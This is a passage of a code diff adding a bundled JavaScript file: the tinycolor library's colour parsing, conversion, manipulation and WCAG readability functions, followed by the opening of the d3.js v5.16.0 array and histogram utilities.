this._applyCombination(triad, arguments); + }, + tetrad: function() { + return this._applyCombination(tetrad, arguments); + } +}; + +// If input is an object, force 1 into "1.0" to handle ratios properly +// String input requires "1.0" as input, so 1 will be treated as 1 +tinycolor.fromRatio = function(color, opts) { + if (typeof color == "object") { + var newColor = {}; + for (var i in color) { + if (color.hasOwnProperty(i)) { + if (i === "a") { + newColor[i] = color[i]; + } + else { + newColor[i] = convertToPercentage(color[i]); + } + } + } + color = newColor; + } + + return tinycolor(color, opts); +}; + +// Given a string or object, convert that input to RGB +// Possible string inputs: +// +// "red" +// "#f00" or "f00" +// "#ff0000" or "ff0000" +// "#ff000000" or "ff000000" +// "rgb 255 0 0" or "rgb (255, 0, 0)" +// "rgb 1.0 0 0" or "rgb (1, 0, 0)" +// "rgba (255, 0, 0, 1)" or "rgba 255, 0, 0, 1" +// "rgba (1.0, 0, 0, 1)" or "rgba 1.0, 0, 0, 1" +// "hsl(0, 100%, 50%)" or "hsl 0 100% 50%" +// "hsla(0, 100%, 50%, 1)" or "hsla 0 100% 50%, 1" +// "hsv(0, 100%, 100%)" or "hsv 0 100% 100%" +// +function inputToRGB(color) { + + var rgb = { r: 0, g: 0, b: 0 }; + var a = 1; + var s = null; + var v = null; + var l = null; + var ok = false; + var format = false; + + if (typeof color == "string") { + color = stringInputToObject(color); + } + + if (typeof color == "object") { + if (isValidCSSUnit(color.r) && isValidCSSUnit(color.g) && isValidCSSUnit(color.b)) { + rgb = rgbToRgb(color.r, color.g, color.b); + ok = true; + format = String(color.r).substr(-1) === "%" ? "prgb" : "rgb"; + } + else if (isValidCSSUnit(color.h) && isValidCSSUnit(color.s) && isValidCSSUnit(color.v)) { + s = convertToPercentage(color.s); + v = convertToPercentage(color.v); + rgb = hsvToRgb(color.h, s, v); + ok = true; + format = "hsv"; + } + else if (isValidCSSUnit(color.h) && isValidCSSUnit(color.s) && isValidCSSUnit(color.l)) { + s = convertToPercentage(color.s); + l = convertToPercentage(color.l); + rgb = hslToRgb(color.h, s, l); + ok = true; + format = "hsl"; + } + + if (color.hasOwnProperty("a")) { + a = color.a; + } + } + + a = boundAlpha(a); + + return { + ok: ok, + format: color.format || format, + r: mathMin(255, mathMax(rgb.r, 0)), + g: mathMin(255, mathMax(rgb.g, 0)), + b: mathMin(255, mathMax(rgb.b, 0)), + a: a + }; +} + + +// Conversion Functions +// -------------------- + +// `rgbToHsl`, `rgbToHsv`, `hslToRgb`, `hsvToRgb` modified from: +// + +// `rgbToRgb` +// Handle bounds / percentage checking to conform to CSS color spec +// +// *Assumes:* r, g, b in [0, 255] or [0, 1] +// *Returns:* { r, g, b } in [0, 255] +function rgbToRgb(r, g, b){ + return { + r: bound01(r, 255) * 255, + g: bound01(g, 255) * 255, + b: bound01(b, 255) * 255 + }; +} + +// `rgbToHsl` +// Converts an RGB color value to HSL. +// *Assumes:* r, g, and b are contained in [0, 255] or [0, 1] +// *Returns:* { h, s, l } in [0,1] +function rgbToHsl(r, g, b) { + + r = bound01(r, 255); + g = bound01(g, 255); + b = bound01(b, 255); + + var max = mathMax(r, g, b), min = mathMin(r, g, b); + var h, s, l = (max + min) / 2; + + if(max == min) { + h = s = 0; // achromatic + } + else { + var d = max - min; + s = l > 0.5 ? d / (2 - max - min) : d / (max + min); + switch(max) { + case r: h = (g - b) / d + (g < b ? 6 : 0); break; + case g: h = (b - r) / d + 2; break; + case b: h = (r - g) / d + 4; break; + } + + h /= 6; + } + + return { h: h, s: s, l: l }; +} + +// `hslToRgb` +// Converts an HSL color value to RGB. +// *Assumes:* h is contained in [0, 1] or [0, 360] and s and l are contained [0, 1] or [0, 100] +// *Returns:* { r, g, b } in the set [0, 255] +function hslToRgb(h, s, l) { + var r, g, b; + + h = bound01(h, 360); + s = bound01(s, 100); + l = bound01(l, 100); + + function hue2rgb(p, q, t) { + if(t < 0) t += 1; + if(t > 1) t -= 1; + if(t < 1/6) return p + (q - p) * 6 * t; + if(t < 1/2) return q; + if(t < 2/3) return p + (q - p) * (2/3 - t) * 6; + return p; + } + + if(s === 0) { + r = g = b = l; // achromatic + } + else { + var q = l < 0.5 ? l * (1 + s) : l + s - l * s; + var p = 2 * l - q; + r = hue2rgb(p, q, h + 1/3); + g = hue2rgb(p, q, h); + b = hue2rgb(p, q, h - 1/3); + } + + return { r: r * 255, g: g * 255, b: b * 255 }; +} + +// `rgbToHsv` +// Converts an RGB color value to HSV +// *Assumes:* r, g, and b are contained in the set [0, 255] or [0, 1] +// *Returns:* { h, s, v } in [0,1] +function rgbToHsv(r, g, b) { + + r = bound01(r, 255); + g = bound01(g, 255); + b = bound01(b, 255); + + var max = mathMax(r, g, b), min = mathMin(r, g, b); + var h, s, v = max; + + var d = max - min; + s = max === 0 ? 0 : d / max; + + if(max == min) { + h = 0; // achromatic + } + else { + switch(max) { + case r: h = (g - b) / d + (g < b ? 6 : 0); break; + case g: h = (b - r) / d + 2; break; + case b: h = (r - g) / d + 4; break; + } + h /= 6; + } + return { h: h, s: s, v: v }; +} + +// `hsvToRgb` +// Converts an HSV color value to RGB. +// *Assumes:* h is contained in [0, 1] or [0, 360] and s and v are contained in [0, 1] or [0, 100] +// *Returns:* { r, g, b } in the set [0, 255] + function hsvToRgb(h, s, v) { + + h = bound01(h, 360) * 6; + s = bound01(s, 100); + v = bound01(v, 100); + + var i = Math.floor(h), + f = h - i, + p = v * (1 - s), + q = v * (1 - f * s), + t = v * (1 - (1 - f) * s), + mod = i % 6, + r = [v, q, p, p, t, v][mod], + g = [t, v, v, q, p, p][mod], + b = [p, p, t, v, v, q][mod]; + + return { r: r * 255, g: g * 255, b: b * 255 }; +} + +// `rgbToHex` +// Converts an RGB color to hex +// Assumes r, g, and b are contained in the set [0, 255] +// Returns a 3 or 6 character hex +function rgbToHex(r, g, b, allow3Char) { + + var hex = [ + pad2(mathRound(r).toString(16)), + pad2(mathRound(g).toString(16)), + pad2(mathRound(b).toString(16)) + ]; + + // Return a 3 character hex if possible + if (allow3Char && hex[0].charAt(0) == hex[0].charAt(1) && hex[1].charAt(0) == hex[1].charAt(1) && hex[2].charAt(0) == hex[2].charAt(1)) { + return hex[0].charAt(0) + hex[1].charAt(0) + hex[2].charAt(0); + } + + return hex.join(""); +} + +// `rgbaToHex` +// Converts an RGBA color plus alpha transparency to hex +// Assumes r, g, b are contained in the set [0, 255] and +// a in [0, 1]. Returns a 4 or 8 character rgba hex +function rgbaToHex(r, g, b, a, allow4Char) { + + var hex = [ + pad2(mathRound(r).toString(16)), + pad2(mathRound(g).toString(16)), + pad2(mathRound(b).toString(16)), + pad2(convertDecimalToHex(a)) + ]; + + // Return a 4 character hex if possible + if (allow4Char && hex[0].charAt(0) == hex[0].charAt(1) && hex[1].charAt(0) == hex[1].charAt(1) && hex[2].charAt(0) == hex[2].charAt(1) && hex[3].charAt(0) == hex[3].charAt(1)) { + return hex[0].charAt(0) + hex[1].charAt(0) + hex[2].charAt(0) + hex[3].charAt(0); + } + + return hex.join(""); +} + +// `rgbaToArgbHex` +// Converts an RGBA color to an ARGB Hex8 string +// Rarely used, but required for "toFilter()" +function rgbaToArgbHex(r, g, b, a) { + + var hex = [ + pad2(convertDecimalToHex(a)), + pad2(mathRound(r).toString(16)), + pad2(mathRound(g).toString(16)), + pad2(mathRound(b).toString(16)) + ]; + + return hex.join(""); +} + +// `equals` +// Can be called with any tinycolor input +tinycolor.equals = function (color1, color2) { + if (!color1 || !color2) { return false; } + return tinycolor(color1).toRgbString() == tinycolor(color2).toRgbString(); +}; + +tinycolor.random = function() { + return tinycolor.fromRatio({ + r: mathRandom(), + g: mathRandom(), + b: mathRandom() + }); +}; + + +// Modification Functions +// ---------------------- +// Thanks to less.js for some of the basics here +// + +function desaturate(color, amount) { + amount = (amount === 0) ? 0 : (amount || 10); + var hsl = tinycolor(color).toHsl(); + hsl.s -= amount / 100; + hsl.s = clamp01(hsl.s); + return tinycolor(hsl); +} + +function saturate(color, amount) { + amount = (amount === 0) ? 0 : (amount || 10); + var hsl = tinycolor(color).toHsl(); + hsl.s += amount / 100; + hsl.s = clamp01(hsl.s); + return tinycolor(hsl); +} + +function greyscale(color) { + return tinycolor(color).desaturate(100); +} + +function lighten (color, amount) { + amount = (amount === 0) ? 0 : (amount || 10); + var hsl = tinycolor(color).toHsl(); + hsl.l += amount / 100; + hsl.l = clamp01(hsl.l); + return tinycolor(hsl); +} + +function brighten(color, amount) { + amount = (amount === 0) ? 0 : (amount || 10); + var rgb = tinycolor(color).toRgb(); + rgb.r = mathMax(0, mathMin(255, rgb.r - mathRound(255 * - (amount / 100)))); + rgb.g = mathMax(0, mathMin(255, rgb.g - mathRound(255 * - (amount / 100)))); + rgb.b = mathMax(0, mathMin(255, rgb.b - mathRound(255 * - (amount / 100)))); + return tinycolor(rgb); +} + +function darken (color, amount) { + amount = (amount === 0) ? 0 : (amount || 10); + var hsl = tinycolor(color).toHsl(); + hsl.l -= amount / 100; + hsl.l = clamp01(hsl.l); + return tinycolor(hsl); +} + +// Spin takes a positive or negative amount within [-360, 360] indicating the change of hue. +// Values outside of this range will be wrapped into this range. +function spin(color, amount) { + var hsl = tinycolor(color).toHsl(); + var hue = (hsl.h + amount) % 360; + hsl.h = hue < 0 ? 360 + hue : hue; + return tinycolor(hsl); +} + +// Combination Functions +// --------------------- +// Thanks to jQuery xColor for some of the ideas behind these +// + +function complement(color) { + var hsl = tinycolor(color).toHsl(); + hsl.h = (hsl.h + 180) % 360; + return tinycolor(hsl); +} + +function triad(color) { + var hsl = tinycolor(color).toHsl(); + var h = hsl.h; + return [ + tinycolor(color), + tinycolor({ h: (h + 120) % 360, s: hsl.s, l: hsl.l }), + tinycolor({ h: (h + 240) % 360, s: hsl.s, l: hsl.l }) + ]; +} + +function tetrad(color) { + var hsl = tinycolor(color).toHsl(); + var h = hsl.h; + return [ + tinycolor(color), + tinycolor({ h: (h + 90) % 360, s: hsl.s, l: hsl.l }), + tinycolor({ h: (h + 180) % 360, s: hsl.s, l: hsl.l }), + tinycolor({ h: (h + 270) % 360, s: hsl.s, l: hsl.l }) + ]; +} + +function splitcomplement(color) { + var hsl = tinycolor(color).toHsl(); + var h = hsl.h; + return [ + tinycolor(color), + tinycolor({ h: (h + 72) % 360, s: hsl.s, l: hsl.l}), + tinycolor({ h: (h + 216) % 360, s: hsl.s, l: hsl.l}) + ]; +} + +function analogous(color, results, slices) { + results = results || 6; + slices = slices || 30; + + var hsl = tinycolor(color).toHsl(); + var part = 360 / slices; + var ret = [tinycolor(color)]; + + for (hsl.h = ((hsl.h - (part * results >> 1)) + 720) % 360; --results; ) { + hsl.h = (hsl.h + part) % 360; + ret.push(tinycolor(hsl)); + } + return ret; +} + +function monochromatic(color, results) { + results = results || 6; + var hsv = tinycolor(color).toHsv(); + var h = hsv.h, s = hsv.s, v = hsv.v; + var ret = []; + var modification = 1 / results; + + while (results--) { + ret.push(tinycolor({ h: h, s: s, v: v})); + v = (v + modification) % 1; + } + + return ret; +} + +// Utility Functions +// --------------------- + +tinycolor.mix = function(color1, color2, amount) { + amount = (amount === 0) ? 0 : (amount || 50); + + var rgb1 = tinycolor(color1).toRgb(); + var rgb2 = tinycolor(color2).toRgb(); + + var p = amount / 100; + + var rgba = { + r: ((rgb2.r - rgb1.r) * p) + rgb1.r, + g: ((rgb2.g - rgb1.g) * p) + rgb1.g, + b: ((rgb2.b - rgb1.b) * p) + rgb1.b, + a: ((rgb2.a - rgb1.a) * p) + rgb1.a + }; + + return tinycolor(rgba); +}; + + +// Readability Functions +// --------------------- +// false +// tinycolor.isReadable("#000", "#111",{level:"AA",size:"large"}) => false +tinycolor.isReadable = function(color1, color2, wcag2) { + var readability = tinycolor.readability(color1, color2); + var wcag2Parms, out; + + out = false; + + wcag2Parms = validateWCAG2Parms(wcag2); + switch (wcag2Parms.level + wcag2Parms.size) { + case "AAsmall": + case "AAAlarge": + out = readability >= 4.5; + break; + case "AAlarge": + out = readability >= 3; + break; + case "AAAsmall": + out = readability >= 7; + break; + } + return out; + +}; + +// `mostReadable` +// Given a base color and a list of possible foreground or background +// colors for that base, returns the most readable color. +// Optionally returns Black or White if the most readable color is unreadable. +// *Example* +// tinycolor.mostReadable(tinycolor.mostReadable("#123", ["#124", "#125"],{includeFallbackColors:false}).toHexString(); // "#112255" +// tinycolor.mostReadable(tinycolor.mostReadable("#123", ["#124", "#125"],{includeFallbackColors:true}).toHexString(); // "#ffffff" +// tinycolor.mostReadable("#a8015a", ["#faf3f3"],{includeFallbackColors:true,level:"AAA",size:"large"}).toHexString(); // "#faf3f3" +// tinycolor.mostReadable("#a8015a", ["#faf3f3"],{includeFallbackColors:true,level:"AAA",size:"small"}).toHexString(); // "#ffffff" +tinycolor.mostReadable = function(baseColor, colorList, args) { + var bestColor = null; + var bestScore = 0; + var readability; + var includeFallbackColors, level, size ; + args = args || {}; + includeFallbackColors = args.includeFallbackColors ; + level = args.level; + size = args.size; + + for (var i= 0; i < colorList.length ; i++) { + readability = tinycolor.readability(baseColor, colorList[i]); + if (readability > bestScore) { + bestScore = readability; + bestColor = tinycolor(colorList[i]); + } + } + + if (tinycolor.isReadable(baseColor, bestColor, {"level":level,"size":size}) || !includeFallbackColors) { + return bestColor; + } + else { + args.includeFallbackColors=false; + return tinycolor.mostReadable(baseColor,["#fff", "#000"],args); + } +}; + + +// Big List of Colors +// ------------------ +// +var names = tinycolor.names = { + aliceblue: "f0f8ff", + antiquewhite: "faebd7", + aqua: "0ff", + aquamarine: "7fffd4", + azure: "f0ffff", + beige: "f5f5dc", + bisque: "ffe4c4", + black: "000", + blanchedalmond: "ffebcd", + blue: "00f", + blueviolet: "8a2be2", + brown: "a52a2a", + burlywood: "deb887", + burntsienna: "ea7e5d", + cadetblue: "5f9ea0", + chartreuse: "7fff00", + chocolate: "d2691e", + coral: "ff7f50", + cornflowerblue: "6495ed", + cornsilk: "fff8dc", + crimson: "dc143c", + cyan: "0ff", + darkblue: "00008b", + darkcyan: "008b8b", + darkgoldenrod: "b8860b", + darkgray: "a9a9a9", + darkgreen: "006400", + darkgrey: "a9a9a9", + darkkhaki: "bdb76b", + darkmagenta: "8b008b", + darkolivegreen: "556b2f", + darkorange: "ff8c00", + darkorchid: "9932cc", + darkred: "8b0000", + darksalmon: "e9967a", + darkseagreen: "8fbc8f", + darkslateblue: "483d8b", + darkslategray: "2f4f4f", + darkslategrey: "2f4f4f", + darkturquoise: "00ced1", + darkviolet: "9400d3", + deeppink: "ff1493", + deepskyblue: "00bfff", + dimgray: "696969", + dimgrey: "696969", + dodgerblue: "1e90ff", + firebrick: "b22222", + floralwhite: "fffaf0", + forestgreen: "228b22", + fuchsia: "f0f", + gainsboro: "dcdcdc", + ghostwhite: "f8f8ff", + gold: "ffd700", + goldenrod: "daa520", + gray: "808080", + green: "008000", + greenyellow: "adff2f", + grey: "808080", + honeydew: "f0fff0", + hotpink: "ff69b4", + indianred: "cd5c5c", + indigo: "4b0082", + ivory: "fffff0", + khaki: "f0e68c", + lavender: "e6e6fa", + lavenderblush: "fff0f5", + lawngreen: "7cfc00", + lemonchiffon: "fffacd", + lightblue: "add8e6", + lightcoral: "f08080", + lightcyan: "e0ffff", + lightgoldenrodyellow: "fafad2", + lightgray: "d3d3d3", + lightgreen: "90ee90", + lightgrey: "d3d3d3", + lightpink: "ffb6c1", + lightsalmon: "ffa07a", + lightseagreen: "20b2aa", + lightskyblue: "87cefa", + lightslategray: "789", + lightslategrey: "789", + lightsteelblue: "b0c4de", + lightyellow: "ffffe0", + lime: "0f0", + limegreen: "32cd32", + linen: "faf0e6", + magenta: "f0f", + maroon: "800000", + mediumaquamarine: "66cdaa", + mediumblue: "0000cd", + mediumorchid: "ba55d3", + mediumpurple: "9370db", + mediumseagreen: "3cb371", + mediumslateblue: "7b68ee", + mediumspringgreen: "00fa9a", + mediumturquoise: "48d1cc", + mediumvioletred: "c71585", + midnightblue: "191970", + mintcream: "f5fffa", + mistyrose: "ffe4e1", + moccasin: "ffe4b5", + navajowhite: "ffdead", + navy: "000080", + oldlace: "fdf5e6", + olive: "808000", + olivedrab: "6b8e23", + orange: "ffa500", + orangered: "ff4500", + orchid: "da70d6", + palegoldenrod: "eee8aa", + palegreen: "98fb98", + paleturquoise: "afeeee", + palevioletred: "db7093", + papayawhip: "ffefd5", + peachpuff: "ffdab9", + peru: "cd853f", + pink: "ffc0cb", + plum: "dda0dd", + powderblue: "b0e0e6", + purple: "800080", + rebeccapurple: "663399", + red: "f00", + rosybrown: "bc8f8f", + royalblue: "4169e1", + saddlebrown: "8b4513", + salmon: "fa8072", + sandybrown: "f4a460", + seagreen: "2e8b57", + seashell: "fff5ee", + sienna: "a0522d", + silver: "c0c0c0", + skyblue: "87ceeb", + slateblue: "6a5acd", + slategray: "708090", + slategrey: "708090", + snow: "fffafa", + springgreen: "00ff7f", + steelblue: "4682b4", + tan: "d2b48c", + teal: "008080", + thistle: "d8bfd8", + tomato: "ff6347", + turquoise: "40e0d0", + violet: "ee82ee", + wheat: "f5deb3", + white: "fff", + whitesmoke: "f5f5f5", + yellow: "ff0", + yellowgreen: "9acd32" +}; + +// Make it easy to access colors via `hexNames[hex]` +var hexNames = tinycolor.hexNames = flip(names); + + +// Utilities +// --------- + +// `{ 'name1': 'val1' }` becomes `{ 'val1': 'name1' }` +function flip(o) { + var flipped = { }; + for (var i in o) { + if (o.hasOwnProperty(i)) { + flipped[o[i]] = i; + } + } + return flipped; +} + +// Return a valid alpha value [0,1] with all invalid values being set to 1 +function boundAlpha(a) { + a = parseFloat(a); + + if (isNaN(a) || a < 0 || a > 1) { + a = 1; + } + + return a; +} + +// Take input from [0, n] and return it as [0, 1] +function bound01(n, max) { + if (isOnePointZero(n)) { n = "100%"; } + + var processPercent = isPercentage(n); + n = mathMin(max, mathMax(0, parseFloat(n))); + + // Automatically convert percentage into number + if (processPercent) { + n = parseInt(n * max, 10) / 100; + } + + // Handle floating point rounding errors + if ((Math.abs(n - max) < 0.000001)) { + return 1; + } + + // Convert into [0, 1] range if it isn't already + return (n % max) / parseFloat(max); +} + +// Force a number between 0 and 1 +function clamp01(val) { + return mathMin(1, mathMax(0, val)); +} + +// Parse a base-16 hex value into a base-10 integer +function parseIntFromHex(val) { + return parseInt(val, 16); +} + +// Need to handle 1.0 as 100%, since once it is a number, there is no difference between it and 1 +// +function isOnePointZero(n) { + return typeof n == "string" && n.indexOf('.') != -1 && parseFloat(n) === 1; +} + +// Check to see if string passed in is a percentage +function isPercentage(n) { + return typeof n === "string" && n.indexOf('%') != -1; +} + +// Force a hex value to have 2 characters +function pad2(c) { + return c.length == 1 ? '0' + c : '' + c; +} + +// Replace a decimal with it's percentage value +function convertToPercentage(n) { + if (n <= 1) { + n = (n * 100) + "%"; + } + + return n; +} + +// Converts a decimal to a hex value +function convertDecimalToHex(d) { + return Math.round(parseFloat(d) * 255).toString(16); +} +// Converts a hex value to a decimal +function convertHexToDecimal(h) { + return (parseIntFromHex(h) / 255); +} + +var matchers = (function() { + + // + var CSS_INTEGER = "[-\\+]?\\d+%?"; + + // + var CSS_NUMBER = "[-\\+]?\\d*\\.\\d+%?"; + + // Allow positive/negative integer/number. Don't capture the either/or, just the entire outcome. + var CSS_UNIT = "(?:" + CSS_NUMBER + ")|(?:" + CSS_INTEGER + ")"; + + // Actual matching. + // Parentheses and commas are optional, but not required. + // Whitespace can take the place of commas or opening paren + var PERMISSIVE_MATCH3 = "[\\s|\\(]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")\\s*\\)?"; + var PERMISSIVE_MATCH4 = "[\\s|\\(]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")\\s*\\)?"; + + return { + CSS_UNIT: new RegExp(CSS_UNIT), + rgb: new RegExp("rgb" + PERMISSIVE_MATCH3), + rgba: new RegExp("rgba" + PERMISSIVE_MATCH4), + hsl: new RegExp("hsl" + PERMISSIVE_MATCH3), + hsla: new RegExp("hsla" + PERMISSIVE_MATCH4), + hsv: new RegExp("hsv" + PERMISSIVE_MATCH3), + hsva: new RegExp("hsva" + PERMISSIVE_MATCH4), + hex3: /^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/, + hex6: /^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/, + hex4: /^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/, + hex8: /^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/ + }; +})(); + +// `isValidCSSUnit` +// Take in a single string / number and check to see if it looks like a CSS unit +// (see `matchers` above for definition). +function isValidCSSUnit(color) { + return !!matchers.CSS_UNIT.exec(color); +} + +// `stringInputToObject` +// Permissive string parsing. Take in a number of formats, and output an object +// based on detected format. Returns `{ r, g, b }` or `{ h, s, l }` or `{ h, s, v}` +function stringInputToObject(color) { + + color = color.replace(trimLeft,'').replace(trimRight, '').toLowerCase(); + var named = false; + if (names[color]) { + color = names[color]; + named = true; + } + else if (color == 'transparent') { + return { r: 0, g: 0, b: 0, a: 0, format: "name" }; + } + + // Try to match string input using regular expressions. + // Keep most of the number bounding out of this function - don't worry about [0,1] or [0,100] or [0,360] + // Just return an object and let the conversion functions handle that. + // This way the result will be the same whether the tinycolor is initialized with string or object. + var match; + if ((match = matchers.rgb.exec(color))) { + return { r: match[1], g: match[2], b: match[3] }; + } + if ((match = matchers.rgba.exec(color))) { + return { r: match[1], g: match[2], b: match[3], a: match[4] }; + } + if ((match = matchers.hsl.exec(color))) { + return { h: match[1], s: match[2], l: match[3] }; + } + if ((match = matchers.hsla.exec(color))) { + return { h: match[1], s: match[2], l: match[3], a: match[4] }; + } + if ((match = matchers.hsv.exec(color))) { + return { h: match[1], s: match[2], v: match[3] }; + } + if ((match = matchers.hsva.exec(color))) { + return { h: match[1], s: match[2], v: match[3], a: match[4] }; + } + if ((match = matchers.hex8.exec(color))) { + return { + r: parseIntFromHex(match[1]), + g: parseIntFromHex(match[2]), + b: parseIntFromHex(match[3]), + a: convertHexToDecimal(match[4]), + format: named ? "name" : "hex8" + }; + } + if ((match = matchers.hex6.exec(color))) { + return { + r: parseIntFromHex(match[1]), + g: parseIntFromHex(match[2]), + b: parseIntFromHex(match[3]), + format: named ? "name" : "hex" + }; + } + if ((match = matchers.hex4.exec(color))) { + return { + r: parseIntFromHex(match[1] + '' + match[1]), + g: parseIntFromHex(match[2] + '' + match[2]), + b: parseIntFromHex(match[3] + '' + match[3]), + a: convertHexToDecimal(match[4] + '' + match[4]), + format: named ? "name" : "hex8" + }; + } + if ((match = matchers.hex3.exec(color))) { + return { + r: parseIntFromHex(match[1] + '' + match[1]), + g: parseIntFromHex(match[2] + '' + match[2]), + b: parseIntFromHex(match[3] + '' + match[3]), + format: named ? "name" : "hex" + }; + } + + return false; +} + +function validateWCAG2Parms(parms) { + // return valid WCAG2 parms for isReadable. + // If input parms are invalid, return {"level":"AA", "size":"small"} + var level, size; + parms = parms || {"level":"AA", "size":"small"}; + level = (parms.level || "AA").toUpperCase(); + size = (parms.size || "small").toLowerCase(); + if (level !== "AA" && level !== "AAA") { + level = "AA"; + } + if (size !== "small" && size !== "large") { + size = "small"; + } + return {"level":level, "size":size}; +} + +// Node: Export function +if (typeof module !== "undefined" && module.exports) { + module.exports = tinycolor; +} +// AMD/requirejs: Define the module +else if (typeof define === 'function' && define.amd) { + define(function () {return tinycolor;}); +} +// Browser: Expose to window +else { + window.tinycolor = tinycolor; +} + +})(Math); + +;// https://d3js.org v5.16.0 Copyright 2020 Mike Bostock +(function (global, factory) { +typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) : +typeof define === 'function' && define.amd ? define(['exports'], factory) : +(global = global || self, factory(global.d3 = global.d3 || {})); +}(this, function (exports) { 'use strict'; + +var version = "5.16.0"; + +function ascending(a, b) { + return a < b ? -1 : a > b ? 1 : a >= b ? 0 : NaN; +} + +function bisector(compare) { + if (compare.length === 1) compare = ascendingComparator(compare); + return { + left: function(a, x, lo, hi) { + if (lo == null) lo = 0; + if (hi == null) hi = a.length; + while (lo < hi) { + var mid = lo + hi >>> 1; + if (compare(a[mid], x) < 0) lo = mid + 1; + else hi = mid; + } + return lo; + }, + right: function(a, x, lo, hi) { + if (lo == null) lo = 0; + if (hi == null) hi = a.length; + while (lo < hi) { + var mid = lo + hi >>> 1; + if (compare(a[mid], x) > 0) hi = mid; + else lo = mid + 1; + } + return lo; + } + }; +} + +function ascendingComparator(f) { + return function(d, x) { + return ascending(f(d), x); + }; +} + +var ascendingBisect = bisector(ascending); +var bisectRight = ascendingBisect.right; +var bisectLeft = ascendingBisect.left; + +function pairs(array, f) { + if (f == null) f = pair; + var i = 0, n = array.length - 1, p = array[0], pairs = new Array(n < 0 ? 0 : n); + while (i < n) pairs[i] = f(p, p = array[++i]); + return pairs; +} + +function pair(a, b) { + return [a, b]; +} + +function cross(values0, values1, reduce) { + var n0 = values0.length, + n1 = values1.length, + values = new Array(n0 * n1), + i0, + i1, + i, + value0; + + if (reduce == null) reduce = pair; + + for (i0 = i = 0; i0 < n0; ++i0) { + for (value0 = values0[i0], i1 = 0; i1 < n1; ++i1, ++i) { + values[i] = reduce(value0, values1[i1]); + } + } + + return values; +} + +function descending(a, b) { + return b < a ? -1 : b > a ? 1 : b >= a ? 0 : NaN; +} + +function number(x) { + return x === null ? NaN : +x; +} + +function variance(values, valueof) { + var n = values.length, + m = 0, + i = -1, + mean = 0, + value, + delta, + sum = 0; + + if (valueof == null) { + while (++i < n) { + if (!isNaN(value = number(values[i]))) { + delta = value - mean; + mean += delta / ++m; + sum += delta * (value - mean); + } + } + } + + else { + while (++i < n) { + if (!isNaN(value = number(valueof(values[i], i, values)))) { + delta = value - mean; + mean += delta / ++m; + sum += delta * (value - mean); + } + } + } + + if (m > 1) return sum / (m - 1); +} + +function deviation(array, f) { + var v = variance(array, f); + return v ? Math.sqrt(v) : v; +} + +function extent(values, valueof) { + var n = values.length, + i = -1, + value, + min, + max; + + if (valueof == null) { + while (++i < n) { // Find the first comparable value. + if ((value = values[i]) != null && value >= value) { + min = max = value; + while (++i < n) { // Compare the remaining values. + if ((value = values[i]) != null) { + if (min > value) min = value; + if (max < value) max = value; + } + } + } + } + } + + else { + while (++i < n) { // Find the first comparable value. + if ((value = valueof(values[i], i, values)) != null && value >= value) { + min = max = value; + while (++i < n) { // Compare the remaining values. + if ((value = valueof(values[i], i, values)) != null) { + if (min > value) min = value; + if (max < value) max = value; + } + } + } + } + } + + return [min, max]; +} + +var array = Array.prototype; + +var slice = array.slice; +var map = array.map; + +function constant(x) { + return function() { + return x; + }; +} + +function identity(x) { + return x; +} + +function sequence(start, stop, step) { + start = +start, stop = +stop, step = (n = arguments.length) < 2 ? (stop = start, start = 0, 1) : n < 3 ? 1 : +step; + + var i = -1, + n = Math.max(0, Math.ceil((stop - start) / step)) | 0, + range = new Array(n); + + while (++i < n) { + range[i] = start + i * step; + } + + return range; +} + +var e10 = Math.sqrt(50), + e5 = Math.sqrt(10), + e2 = Math.sqrt(2); + +function ticks(start, stop, count) { + var reverse, + i = -1, + n, + ticks, + step; + + stop = +stop, start = +start, count = +count; + if (start === stop && count > 0) return [start]; + if (reverse = stop < start) n = start, start = stop, stop = n; + if ((step = tickIncrement(start, stop, count)) === 0 || !isFinite(step)) return []; + + if (step > 0) { + start = Math.ceil(start / step); + stop = Math.floor(stop / step); + ticks = new Array(n = Math.ceil(stop - start + 1)); + while (++i < n) ticks[i] = (start + i) * step; + } else { + start = Math.floor(start * step); + stop = Math.ceil(stop * step); + ticks = new Array(n = Math.ceil(start - stop + 1)); + while (++i < n) ticks[i] = (start - i) / step; + } + + if (reverse) ticks.reverse(); + + return ticks; +} + +function tickIncrement(start, stop, count) { + var step = (stop - start) / Math.max(0, count), + power = Math.floor(Math.log(step) / Math.LN10), + error = step / Math.pow(10, power); + return power >= 0 + ? (error >= e10 ? 10 : error >= e5 ? 5 : error >= e2 ? 2 : 1) * Math.pow(10, power) + : -Math.pow(10, -power) / (error >= e10 ? 10 : error >= e5 ? 5 : error >= e2 ? 2 : 1); +} + +function tickStep(start, stop, count) { + var step0 = Math.abs(stop - start) / Math.max(0, count), + step1 = Math.pow(10, Math.floor(Math.log(step0) / Math.LN10)), + error = step0 / step1; + if (error >= e10) step1 *= 10; + else if (error >= e5) step1 *= 5; + else if (error >= e2) step1 *= 2; + return stop < start ? -step1 : step1; +} + +function thresholdSturges(values) { + return Math.ceil(Math.log(values.length) / Math.LN2) + 1; +} + +function histogram() { + var value = identity, + domain = extent, + threshold = thresholdSturges; + + function histogram(data) { + var i, + n = data.length, + x, + values = new Array(n); + + for (i = 0; i < n; ++i) { + values[i] = value(data[i], i, data); + } + + var xz = domain(values), + x0 = xz[0], + x1 = xz[1], + tz = threshold(values, x0, x1); + + // Convert number of thresholds into uniform thresholds. + if (!Array.isArray(tz)) { + tz = tickStep(x0, x1, tz); + tz = sequence(Math.ceil(x0 / tz) * tz, x1, tz); // exclusive + } + + // Remove any thresholds outside the domain. + var m = tz.length; + while (tz[0] <= x0) tz.shift(), --m; + while (tz[m - 1] > x1) tz.pop(), --m; + + var bins = new Array(m + 1), + bin; + + // Initialize bins. + for (i = 0; i <= m; ++i) { + bin = bins[i] = []; + bin.x0 = i > 0 ? tz[i - 1] : x0; + bin.x1 = i < m ? tz[i] : x1; + } + + // Assign data to bins by value, ignoring any outside the domain. + for (i = 0; i < n; ++i) { + x = values[i]; + if (x0 <= x && x <= 